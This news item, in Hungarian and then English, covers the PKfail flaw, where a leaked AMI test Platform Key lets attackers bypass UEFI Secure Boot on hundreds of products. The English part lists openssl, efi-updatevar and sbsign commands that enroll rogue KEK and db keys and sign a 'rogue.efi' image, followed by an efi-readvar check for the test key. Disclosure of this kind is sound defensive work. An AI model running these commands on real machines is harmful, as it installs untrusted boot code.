A Binarly biztons\u00e1gi kutat\u00f3i felfedezt\u00e9k, hogy a UEFI Secure Boot megb\u00edzhat\u00f3 bet\u00f6lt\u00e9si m\u00f3dj\u00e1t t\u00f6bb mint 800 term\u00e9k eset\u00e9ben meg lehet ker\u00fclni, amelyeket az Acer, Dell, Fujitsu, Gigabyte, HP, Intel, Lenovo \u00e9s Supermicro gy\u00e1rt\u00f3k k\u00e9sz\u00edtettek. A probl\u00e9ma PKfail k\u00f3dnevet kapott, \u00e9s egy megb\u00edzhatatlan platformkulcs (PK, Platform Key) haszn\u00e1lat\u00e1hoz kapcsol\u00f3dik, amelyet az AMI (American Megatrends International) gener\u00e1lt \u00e9s tesztp\u00e9ld\u00e1nyk\u00e9nt biztos\u00edtott. A legr\u00e9gebbi firmware-ek, amelyek a tesztkulcsot haszn\u00e1lt\u00e1k, 2012-ben k\u00e9sz\u00fcltek, m\u00edg a leg\u00fajabbak 2024 j\u00fanius\u00e1ra dat\u00e1l\u00f3dnak. A kutat\u00f3k adatai szerint a megvizsg\u00e1lt firmware-ek t\u00f6bb mint 10%-a \u00e9rintett a probl\u00e9m\u00e1ban. <\/p>\n
A kulcsbe\u00e1ll\u00edt\u00e1sok k\u00f6z\u00f6tt szerepelt, hogy megb\u00edzhatatlan, \u00e9s nem szabadna a term\u00e9keikben forgalmazni. Azt felt\u00e9telezt\u00e9k, hogy ezt a tesztkulcsot saj\u00e1tra kell cser\u00e9lni, de a gy\u00e1rt\u00f3k figyelmen k\u00edv\u00fcl hagyt\u00e1k a figyelmeztet\u00e9st, \u00e9s a v\u00e9gterm\u00e9k firmware-ekben egy \u00e1ltal\u00e1nos kulcsot haszn\u00e1ltak, amelyet az AMI minden partner\u00e9nek \u00e9s \u00fcgyfel\u00e9nek elk\u00fcld\u00f6tt. <\/p>\n
Az AMI tesztkulcs\u00e1nak titkos r\u00e9sze, amely a digit\u00e1lis al\u00e1\u00edr\u00e1sok l\u00e9trehoz\u00e1s\u00e1hoz sz\u00fcks\u00e9ges, nyilv\u00e1nosan hozz\u00e1f\u00e9rhet\u0151v\u00e9 v\u00e1lt, miut\u00e1n egy hardvergy\u00e1rt\u00f3 egyik munkat\u00e1rsa v\u00e9letlen\u00fcl egy GitHub nyilv\u00e1nos t\u00e1rol\u00f3ban k\u00f6zz\u00e9tette a kulcsot tartalmaz\u00f3 k\u00f3dot. A titkos kulcsot egy titkos\u00edtott f\u00e1jlban t\u00e1rolt\u00e1k, amelynek titkos\u00edt\u00e1sa egy egyszer\u0171 4 karakterb\u0151l \u00e1ll\u00f3 jelsz\u00f3val t\u00f6rt\u00e9nt, amelyet k\u00f6nnyen ki lehetett tal\u00e1lni kombin\u00e1ci\u00f3s m\u00f3dszerrel. <\/p>\n
A platform key serves as the root of trust for signing databases with keys for Secure Boot. Compromising the private part of the platform key jeopardizes the entire trust chain involved in validating the components of the booted system \u2014 knowing the platform key allows one to bypass Secure Boot protection and substitute their own components during boot by manipulating the KEK (Key Exchange Key) and the \u2018db\u2019 (Signature Database) and \u2018dbx\u2019 (Forbidden Signature Database). KEK is responsible for creating the trust chain between the firmware and the operating system, \u2018db\u2019 contains certificates and signatures for the bootloader and third-party UEFI components, while \u2018dbx\u2019 includes revoked signatures of known malicious components. <\/p>\n
To carry out an attack, it is sufficient to generate new keys and certificates for KEK and db, after which the publicly available test platform key is used to load the created KEK certificate into the UEFI firmware. Once the KEK certificate is loaded into the firmware, the associated private key can be used to load a new certificate into the db. After the db certificate is loaded, the associated private key can be used to sign the loaded EFI components. openssl req -newkey rsa:4096 -nodes -keyout KEK.key -new -x509 -sha256 -days 3650 -subj '\/CN=BRLY KEK\/' -out KEK.crt openssl req -newkey rsa:4096 -nodes -keyout db.key -new -x509 -sha256 -days 3650 -subj '\/CN=BRLY db\/' -out db.crt efi-updatevar -a -c KEK.crt -k PK.key KEK efi-updatevar -a -c db.crt -k KEK.key db sbsign \u2014key db.key \u2014cert db.crt \u2014output rogue.efi.signed rogue.efi <\/p>\n
To verify the correctness of the platform key, simply run the utility \u2018efi-readvar -v PK\u2019 from the efitools package and ensure that the platform key is not a test one: efi-readvar -v PK Variable PK, length 862 PK: List 0, type X509 Signature 0, size 834, owner 26dc4851-195f-4ae1-9a19-fbf883bbb35e Subject: CN=DO NOT TRUST \u2014 AMI Test PK Issuer: CN=DO NOT TRUST \u2014 AMI Test PK
![\"Vide\u00f3](\"https:\/\/img.youtube.com\/vi\/CveWt3gFQTE\/hqdefault.jpg\")
\r\n